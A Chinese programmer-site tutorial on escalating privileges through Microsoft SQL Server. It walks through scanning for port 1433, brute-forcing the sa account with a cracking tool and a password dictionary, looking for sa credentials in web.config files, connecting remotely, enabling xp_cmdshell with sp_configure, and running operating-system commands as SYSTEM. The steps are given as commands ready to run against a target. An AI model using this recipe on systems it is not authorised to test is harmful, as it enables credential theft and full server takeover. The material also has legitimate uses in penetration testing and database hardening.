欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

mssql数据库提权之——xp_cmdshell执行系统命令

程序员文章站 2022-05-15 20:18:45
...

条件

所谓利用数据进行提权,利用的其实是数据库的运行权限,所以只要我们满足以下条件即可进行提权:
1、 必须获得sa的账号密码或者与sa相同权限的账号密码,且mssql没有被降权。
2、 必须可以以某种方式执行sql语句,例如:webshell或者是1433端口的连接。

提权基本思路过程与原理

1.MSSQL在Windows server类的操作系统上,默认具有system权限。System权限在Windows server2003中权限仅比管理员小;而在2003以上的版本,则为最高权限。
2.获取webshell之后可尝试在服务器各个站点的目录寻找sa的密码(某些站点直接在web应用程序中使用sa连接数据库),一般情况下,.net(aspx)的站点数据库连接字符串在web.config或者和global.aspx也有可能是编译在DLL文件当中。
3.通过端口扫描查看1433(mssql默认端口)是否对外开放,如果对外开放可使用远程连接,使用sql连接器连接进行提权,如果没有对外开放,则使用webshell自带的mssql数据库连接功能连接至mssql数据库。
4.sa作为mssql的默认最高权限的账户,在正常情况下,可以通过xp_cmdshell等方式执行系统命令。

此处介绍另一种方法:利用**不上传websheel进行提权

1.使用nmap进行端口扫描,查看1433端口是否开放

2.使用华军1433弱密码口令扫描工具**sa用户密码
命令行安装路径下输入以下命令(ip.txt里写要**的ip,pass.txt里是字典,写好后都放到安装目录下),就会在安装路径里生成1.txt文件,里面记录了扫描结果

exeHack1.exe -i ip.txt -p pass.txt -o 1.txt

mssql数据库提权之——xp_cmdshell执行系统命令

3.navicat sql server利用sa用户远程连接

mssql数据库提权之——xp_cmdshell执行系统命令

4.之后使用xp_cmdshell执行系统命令

4.1 开启xp_cmdshell扩展存储过程

navicat sql server里新建查询,输入以下命令:(1开启,0关闭,关闭时从下往上依次关闭)

use master;
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'xp_cmdshell',1;
reconfigure;

mssql数据库提权之——xp_cmdshell执行系统命令

4.2 执行系统命令
新建查询,输入以下命令,可看到当前用户为system,之后whoami处替换命令即可

use master;
exec master..xp_cmdshell "whoami";

mssql数据库提权之——xp_cmdshell执行系统命令

相关标签: 后渗透